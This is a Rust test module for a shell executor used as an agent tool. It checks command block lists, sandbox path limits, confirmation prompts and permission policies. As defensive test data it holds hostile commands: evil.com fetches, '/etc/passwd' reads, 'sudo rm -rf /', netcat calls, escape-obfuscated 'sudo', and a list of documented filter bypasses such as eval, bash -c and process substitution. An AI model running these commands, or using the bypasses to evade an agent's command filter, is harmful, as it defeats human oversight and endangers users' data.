    fn mixed_case_user_patterns_deduped() {
        let config = ShellConfig {
            blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        let count = executor
            .blocked_commands
            .iter()
            .filter(|c| c.as_str() == "sudo")
            .count();
        assert_eq!(count, 1);
    }

    #[test]
    fn user_pattern_stored_lowercase() {
        let config = ShellConfig {
            blocked_commands: vec!["MyCustom".to_owned()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
        assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
    }

    // --- allowed_commands tests ---

    #[test]
    fn allowed_commands_removes_from_default() {
        let config = ShellConfig {
            allowed_commands: vec!["curl".to_owned()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert!(
            executor
                .find_blocked_command("curl https://example.com")
                .is_none()
        );
        assert!(executor.find_blocked_command("sudo rm").is_some());
    }

    #[test]
    fn allowed_commands_case_insensitive() {
        let config = ShellConfig {
            allowed_commands: vec!["CURL".to_owned()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert!(
            executor
                .find_blocked_command("curl https://example.com")
                .is_none()
        );
    }

    #[test]
    fn allowed_does_not_override_explicit_block() {
        let config = ShellConfig {
            blocked_commands: vec!["curl".to_owned()],
            allowed_commands: vec!["curl".to_owned()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert!(
            executor
                .find_blocked_command("curl https://example.com")
                .is_some()
        );
    }

    #[test]
    fn allowed_unknown_command_ignored() {
        let config = ShellConfig {
            allowed_commands: vec!["nonexistent-cmd".to_owned()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert!(executor.find_blocked_command("sudo rm").is_some());
        assert!(
            executor
                .find_blocked_command("curl https://example.com")
                .is_some()
        );
    }

    #[test]
    fn empty_allowed_commands_changes_nothing() {
        let executor = ShellExecutor::new(&default_config());
        assert!(
            executor
                .find_blocked_command("curl https://example.com")
                .is_some()
        );
        assert!(executor.find_blocked_command("sudo rm").is_some());
        assert!(
            executor
                .find_blocked_command("wget http://evil.com")
                .is_some()
        );
    }

    // --- Phase 1: sandbox tests ---

    #[test]
    fn extract_paths_from_code() {
        let paths = extract_paths("cat /etc/passwd && ls /var/log");
        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
    }

    #[test]
    fn extract_paths_handles_trailing_chars() {
        let paths = extract_paths("cat /etc/passwd; echo /var/log|");
        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
    }

    #[test]
    fn extract_paths_detects_relative() {
        let paths = extract_paths("cat ./file.txt ../other");
        assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
    }

    #[test]
    fn sandbox_allows_cwd_by_default() {
        let executor = ShellExecutor::new(&default_config());
        let cwd = std::env::current_dir().unwrap();
        let cwd_path = cwd.display().to_string();
        let code = format!("cat {cwd_path}/file.txt");
        assert!(executor.validate_sandbox(&code).is_ok());
    }

    #[test]
    fn sandbox_rejects_path_outside_allowed() {
        let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
        let executor = ShellExecutor::new(&config);
        let result = executor.validate_sandbox("cat /etc/passwd");
        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
    }

    #[test]
    fn sandbox_no_absolute_paths_passes() {
        let config = sandbox_config(vec!["/tmp".into()]);
        let executor = ShellExecutor::new(&config);
        assert!(executor.validate_sandbox("echo hello").is_ok());
    }

    #[test]
    fn sandbox_rejects_dotdot_traversal() {
        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
        let executor = ShellExecutor::new(&config);
        let result = executor.validate_sandbox("cat ../../../etc/passwd");
        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
    }

    #[test]
    fn sandbox_rejects_bare_dotdot() {
        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
        let executor = ShellExecutor::new(&config);
        let result = executor.validate_sandbox("cd ..");
        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
    }

    #[test]
    fn sandbox_rejects_relative_dotslash_outside() {
        let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
        let executor = ShellExecutor::new(&config);
        let result = executor.validate_sandbox("cat ./secret.txt");
        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
    }

    #[test]
    fn sandbox_rejects_absolute_with_embedded_dotdot() {
        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
        let executor = ShellExecutor::new(&config);
        let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
    }

    #[test]
    fn has_traversal_detects_dotdot() {
        assert!(has_traversal("../etc/passwd"));
        assert!(has_traversal("./foo/../bar"));
        assert!(has_traversal("/tmp/sandbox/../../etc"));
        assert!(has_traversal(".."));
        assert!(!has_traversal("./safe/path"));
        assert!(!has_traversal("/absolute/path"));
        assert!(!has_traversal("no-dots-here"));
    }

    #[test]
    fn extract_paths_detects_dotdot_standalone() {
        let paths = extract_paths("cd ..");
        assert_eq!(paths, vec!["..".to_owned()]);
    }

    // --- Phase 1: allow_network tests ---

    #[test]
    fn allow_network_false_blocks_network_commands() {
        let config = ShellConfig {
            allow_network: false,
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert!(
            executor
                .find_blocked_command("curl https://example.com")
                .is_some()
        );
        assert!(
            executor
                .find_blocked_command("wget http://example.com")
                .is_some()
        );
        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
    }

    #[test]
    fn allow_network_true_keeps_default_behavior() {
        let config = ShellConfig {
            allow_network: true,
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        // Network commands are still blocked by DEFAULT_BLOCKED
        assert!(
            executor
                .find_blocked_command("curl https://example.com")
                .is_some()
        );
    }

    // --- Phase 2a: confirmation tests ---

    #[test]
    fn find_confirm_command_matches_pattern() {
        let config = ShellConfig {
            confirm_patterns: vec!["rm ".into(), "git push -f".into()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert_eq!(
            executor.find_confirm_command("rm /tmp/file.txt"),
            Some("rm ")
        );
        assert_eq!(
            executor.find_confirm_command("git push -f origin main"),
            Some("git push -f")
        );
    }

    #[test]
    fn find_confirm_command_case_insensitive() {
        let config = ShellConfig {
            confirm_patterns: vec!["drop table".into()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert!(executor.find_confirm_command("DROP TABLE users").is_some());
    }

    #[test]
    fn find_confirm_command_no_match() {
        let config = ShellConfig {
            confirm_patterns: vec!["rm ".into()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert!(executor.find_confirm_command("echo hello").is_none());
    }

    #[tokio::test]
    async fn confirmation_required_returned() {
        let config = ShellConfig {
            confirm_patterns: vec!["rm ".into()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        let response = "```bash\nrm file.txt\n```";
        let result = executor.execute(response).await;
        assert!(matches!(
            result,
            Err(ToolError::ConfirmationRequired { .. })
        ));
    }

    #[tokio::test]
    async fn execute_confirmed_skips_confirmation() {
        let config = ShellConfig {
            confirm_patterns: vec!["echo".into()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        let response = "```bash\necho confirmed\n```";
        let result = executor.execute_confirmed(response).await;
        assert!(result.is_ok());
        let output = result.unwrap().unwrap();
        assert!(output.summary.contains("confirmed"));
    }

    // --- default confirm patterns test ---

    #[test]
    fn default_confirm_patterns_loaded() {
        let config = ShellConfig::default();
        assert!(!config.confirm_patterns.is_empty());
        assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
        assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
        assert!(config.confirm_patterns.contains(&"$(".to_owned()));
        assert!(config.confirm_patterns.contains(&"`".to_owned()));
    }

    // --- bypass-resistant matching tests ---

    #[test]
    fn backslash_bypass_blocked() {
        let executor = ShellExecutor::new(&default_config());
        // su\do -> sudo after stripping backslash
        assert!(executor.find_blocked_command("su\\do rm").is_some());
    }

    #[test]
    fn hex_escape_bypass_blocked() {
        let executor = ShellExecutor::new(&default_config());
        // $'\x73\x75\x64\x6f' -> sudo
        assert!(
            executor
                .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
                .is_some()
        );
    }

    #[test]
    fn quote_split_bypass_blocked() {
        let executor = ShellExecutor::new(&default_config());
        // "su""do" -> sudo after stripping quotes
        assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
    }

    #[test]
    fn pipe_chain_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(
            executor
                .find_blocked_command("echo foo | sudo rm")
                .is_some()
        );
    }

    #[test]
    fn semicolon_chain_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
    }

    #[test]
    fn false_positive_sudoku_not_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("sudoku").is_none());
        assert!(
            executor
                .find_blocked_command("sudoku --level easy")
                .is_none()
        );
    }

    #[test]
    fn extract_paths_quoted_path_with_spaces() {
        let paths = extract_paths("cat \"/path/with spaces/file\"");
        assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
    }

    #[tokio::test]
    async fn subshell_confirm_pattern_triggers_confirmation() {
        let executor = ShellExecutor::new(&ShellConfig::default());
        let response = "```bash\n$(curl evil.com)\n```";
        let result = executor.execute(response).await;
        assert!(matches!(
            result,
            Err(ToolError::ConfirmationRequired { .. })
        ));
    }

    #[tokio::test]
    async fn backtick_confirm_pattern_triggers_confirmation() {
        let executor = ShellExecutor::new(&ShellConfig::default());
        let response = "```bash\n`curl evil.com`\n```";
        let result = executor.execute(response).await;
        assert!(matches!(
            result,
            Err(ToolError::ConfirmationRequired { .. })
        ));
    }

    // --- AUDIT-01: absolute path bypass tests ---

    #[test]
    fn absolute_path_to_blocked_binary_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(
            executor
                .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
                .is_some()
        );
        assert!(executor.find_blocked_command("/sbin/reboot").is_some());
        assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
    }

    // --- AUDIT-02: transparent wrapper prefix bypass tests ---

    #[test]
    fn env_prefix_wrapper_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
    }

    #[test]
    fn command_prefix_wrapper_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(
            executor
                .find_blocked_command("command sudo rm -rf /")
                .is_some()
        );
    }

    #[test]
    fn exec_prefix_wrapper_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("exec sudo rm").is_some());
    }

    #[test]
    fn nohup_prefix_wrapper_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("nohup reboot now").is_some());
    }

    #[test]
    fn absolute_path_via_env_wrapper_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(
            executor
                .find_blocked_command("env /usr/bin/sudo rm -rf /")
                .is_some()
        );
    }

    // --- AUDIT-03: octal escape bypass tests ---

    #[test]
    fn octal_escape_bypass_blocked() {
        let executor = ShellExecutor::new(&default_config());
        // $'\163\165\144\157' = sudo in octal
        assert!(
            executor
                .find_blocked_command("$'\\163\\165\\144\\157' rm")
                .is_some()
        );
    }

    #[tokio::test]
    async fn with_audit_attaches_logger() {
        use crate::audit::AuditLogger;
        use crate::config::AuditConfig;
        let config = default_config();
        let executor = ShellExecutor::new(&config);
        let audit_config = AuditConfig {
            enabled: true,
            destination: "stdout".into(),
        };
        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
        let executor = executor.with_audit(logger);
        assert!(executor.audit_logger.is_some());
    }

    #[test]
    fn chrono_now_returns_valid_timestamp() {
        let ts = chrono_now();
        assert!(!ts.is_empty());
        let parsed: u64 = ts.parse().unwrap();
        assert!(parsed > 0);
    }

    #[cfg(unix)]
    #[tokio::test]
    async fn execute_bash_injects_extra_env() {
        let mut env = std::collections::HashMap::new();
        env.insert(
            "ZEPH_TEST_INJECTED_VAR".to_owned(),
            "hello-from-env".to_owned(),
        );
        let (result, code) = execute_bash(
            "echo $ZEPH_TEST_INJECTED_VAR",
            Duration::from_secs(5),
            None,
            None,
            Some(&env),
        )
        .await;
        assert_eq!(code, 0);
        assert!(result.contains("hello-from-env"));
    }

    #[cfg(unix)]
    #[tokio::test]
    async fn shell_executor_set_skill_env_injects_vars() {
        let config = ShellConfig {
            timeout: 5,
            allowed_commands: vec![],
            blocked_commands: vec![],
            allowed_paths: vec![],
            confirm_patterns: vec![],
            allow_network: false,
        };
        let executor = ShellExecutor::new(&config);
        let mut env = std::collections::HashMap::new();
        env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
        executor.set_skill_env(Some(env));
        use crate::executor::ToolExecutor;
        let result = executor
            .execute("```bash\necho $MY_SKILL_SECRET\n```")
            .await
            .unwrap()
            .unwrap();
        assert!(result.summary.contains("injected-value"));
        executor.set_skill_env(None);
    }

    #[cfg(unix)]
    #[tokio::test]
    async fn execute_bash_error_handling() {
        let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
        assert_eq!(result, "(no output)");
        assert_eq!(code, 1);
    }

    #[cfg(unix)]
    #[tokio::test]
    async fn execute_bash_command_not_found() {
        let (result, _) = execute_bash(
            "nonexistent-command-xyz",
            Duration::from_secs(5),
            None,
            None,
            None,
        )
        .await;
        assert!(result.contains("[stderr]") || result.contains("[error]"));
    }

    #[test]
    fn extract_paths_empty() {
        assert!(extract_paths("").is_empty());
    }

    #[tokio::test]
    async fn policy_deny_blocks_command() {
        let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
        let response = "```bash\nforbidden command\n```";
        let result = executor.execute(response).await;
        assert!(matches!(result, Err(ToolError::Blocked { .. })));
    }

    #[tokio::test]
    async fn policy_ask_requires_confirmation() {
        let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
        let response = "```bash\nrisky operation\n```";
        let result = executor.execute(response).await;
        assert!(matches!(
            result,
            Err(ToolError::ConfirmationRequired { .. })
        ));
    }

    #[tokio::test]
    async fn policy_allow_skips_checks() {
        use crate::permissions::PermissionRule;
        use std::collections::HashMap;
        let mut rules = HashMap::new();
        rules.insert(
            "bash".to_owned(),
            vec![PermissionRule {
                pattern: "*".to_owned(),
                action: PermissionAction::Allow,
            }],
        );
        let policy = PermissionPolicy::new(rules);
        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
        let response = "```bash\necho hello\n```";
        let result = executor.execute(response).await;
        assert!(result.is_ok());
    }

    #[tokio::test]
    async fn blocked_command_logged_to_audit() {
        use crate::audit::AuditLogger;
        use crate::config::AuditConfig;
        let config = ShellConfig {
            blocked_commands: vec!["dangerous".to_owned()],
            ..default_config()
        };
        let audit_config = AuditConfig {
            enabled: true,
            destination: "stdout".into(),
        };
        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
        let executor = ShellExecutor::new(&config).with_audit(logger);
        let response = "```bash\ndangerous command\n```";
        let result = executor.execute(response).await;
        assert!(matches!(result, Err(ToolError::Blocked { .. })));
    }

    #[test]
    fn tool_definitions_returns_bash() {
        let executor = ShellExecutor::new(&default_config());
        let defs = executor.tool_definitions();
        assert_eq!(defs.len(), 1);
        assert_eq!(defs[0].id, "bash");
        assert_eq!(
            defs[0].invocation,
            crate::registry::InvocationHint::FencedBlock("bash")
        );
    }

    #[test]
    fn tool_definitions_schema_has_command_param() {
        let executor = ShellExecutor::new(&default_config());
        let defs = executor.tool_definitions();
        let obj = defs[0].schema.as_object().unwrap();
        let props = obj["properties"].as_object().unwrap();
        assert!(props.contains_key("command"));
        let req = obj["required"].as_array().unwrap();
        assert!(req.iter().any(|v| v.as_str() == Some("command")));
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn cancel_token_kills_child_process() {
        let token = CancellationToken::new();
        let token_clone = token.clone();
        tokio::spawn(async move {
            tokio::time::sleep(Duration::from_millis(100)).await;
            token_clone.cancel();
        });
        let (result, code) = execute_bash(
            "sleep 60",
            Duration::from_secs(30),
            None,
            Some(&token),
            None,
        )
        .await;
        assert_eq!(code, 130);
        assert!(result.contains("[cancelled]"));
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn cancel_token_none_does_not_cancel() {
        let (result, code) =
            execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
        assert_eq!(code, 0);
        assert!(result.contains("ok"));
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn cancel_kills_child_process_group() {
        use std::path::Path;
        let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
        let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
        let token = CancellationToken::new();
        let token_clone = token.clone();
        tokio::spawn(async move {
            tokio::time::sleep(Duration::from_millis(200)).await;
            token_clone.cancel();
        });
        let (result, code) =
            execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
        assert_eq!(code, 130);
        assert!(result.contains("[cancelled]"));
        // Wait briefly, then verify the subprocess did NOT create the marker file
        tokio::time::sleep(Duration::from_millis(500)).await;
        assert!(
            !Path::new(&marker).exists(),
            "subprocess should have been killed with process group"
        );
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn shell_executor_cancel_returns_cancelled_error() {
        let token = CancellationToken::new();
        let token_clone = token.clone();
        tokio::spawn(async move {
            tokio::time::sleep(Duration::from_millis(100)).await;
            token_clone.cancel();
        });
        let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
        let response = "```bash\nsleep 60\n```";
        let result = executor.execute(response).await;
        assert!(matches!(result, Err(ToolError::Cancelled)));
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn execute_tool_call_valid_command() {
        let executor = ShellExecutor::new(&default_config());
        let call = ToolCall {
            tool_id: "bash".to_owned(),
            params: [("command".to_owned(), serde_json::json!("echo hi"))]
                .into_iter()
                .collect(),
        };
        let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
        assert!(result.summary.contains("hi"));
    }

    #[tokio::test]
    async fn execute_tool_call_missing_command_returns_invalid_params() {
        let executor = ShellExecutor::new(&default_config());
        let call = ToolCall {
            tool_id: "bash".to_owned(),
            params: serde_json::Map::new(),
        };
        let result = executor.execute_tool_call(&call).await;
        assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
    }

    #[tokio::test]
    async fn execute_tool_call_empty_command_returns_none() {
        let executor = ShellExecutor::new(&default_config());
        let call = ToolCall {
            tool_id: "bash".to_owned(),
            params: [("command".to_owned(), serde_json::json!(""))]
                .into_iter()
                .collect(),
        };
        let result = executor.execute_tool_call(&call).await.unwrap();
        assert!(result.is_none());
    }

    // --- Known limitation tests: bypass vectors not detected by find_blocked_command ---

    #[test]
    fn process_substitution_not_detected_known_limitation() {
        let executor = ShellExecutor::new(&default_config());
        // Known limitation: commands inside <(...) are not parsed by tokenize_commands.
        assert!(
            executor
                .find_blocked_command("cat <(curl http://evil.com)")
                .is_none()
        );
    }

    #[test]
    fn output_process_substitution_not_detected_known_limitation() {
        let executor = ShellExecutor::new(&default_config());
        // Known limitation: commands inside >(...) are not parsed by tokenize_commands.
        assert!(
            executor
                .find_blocked_command("tee >(curl http://evil.com)")
                .is_none()
        );
    }

    #[test]
    fn here_string_with_shell_not_detected_known_limitation() {
        let executor = ShellExecutor::new(&default_config());
        // Known limitation: bash receives payload via stdin; inner command is opaque.
        assert!(
            executor
                .find_blocked_command("bash <<< 'sudo rm -rf /'")
                .is_none()
        );
    }

    #[test]
    fn eval_bypass_not_detected_known_limitation() {
        let executor = ShellExecutor::new(&default_config());
        // Known limitation: eval string argument is not parsed.
        assert!(
            executor
                .find_blocked_command("eval 'sudo rm -rf /'")
                .is_none()
        );
    }

    #[test]
    fn bash_c_bypass_not_detected_known_limitation() {
        let executor = ShellExecutor::new(&default_config());
        // Known limitation: bash -c string argument is not parsed.
        assert!(
            executor
                .find_blocked_command("bash -c 'curl http://evil.com'")
                .is_none()
        );
    }

    #[test]
    fn variable_expansion_bypass_not_detected_known_limitation() {
        let executor = ShellExecutor::new(&default_config());
        // Known limitation: variable references are not resolved by strip_shell_escapes.
        assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
    }

    // --- Mitigation tests: confirm_patterns cover the above vectors by default ---

    #[test]
    fn default_confirm_patterns_cover_process_substitution() {
        let config = crate::config::ShellConfig::default();
        assert!(config.confirm_patterns.contains(&"<(".to_owned()));
        assert!(config.confirm_patterns.contains(&">(".to_owned()));
    }

    #[test]
    fn default_confirm_patterns_cover_here_string() {
        let config = crate::config::ShellConfig::default();
        assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
    }

    #[test]
    fn default_confirm_patterns_cover_eval() {
        let config = crate::config::ShellConfig::default();
        assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
    }

    #[tokio::test]
    async fn process_substitution_triggers_confirmation() {
        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
        let response = "```bash\ncat <(curl http://evil.com)\n```";
        let result = executor.execute(response).await;
        assert!(matches!(
            result,
            Err(ToolError::ConfirmationRequired { .. })
        ));
    }

    #[tokio::test]
    async fn here_string_triggers_confirmation() {
        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
        let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
        let result = executor.execute(response).await;
        assert!(matches!(
            result,
            Err(ToolError::ConfirmationRequired { .. })
        ));
    }

    #[tokio::test]
    async fn eval_triggers_confirmation() {
        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
        let response = "```bash\neval 'curl http://evil.com'\n```";
        let result = executor.execute(response).await;
        assert!(matches!(
            result,
            Err(ToolError::ConfirmationRequired { .. })
        ));
    }

    #[tokio::test]
    async fn output_process_substitution_triggers_confirmation() {
        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
        let response = "```bash\ntee >(curl http://evil.com)\n```";
        let result = executor.execute(response).await;
        assert!(matches!(
            result,
            Err(ToolError::ConfirmationRequired { .. })
        ));
    }

    #[test]
    fn here_string_with_command_substitution_not_detected_known_limitation() {
        let executor = ShellExecutor::new(&default_config());
        // Known limitation: bash receives payload via stdin; inner command substitution is opaque.
        assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
    }
}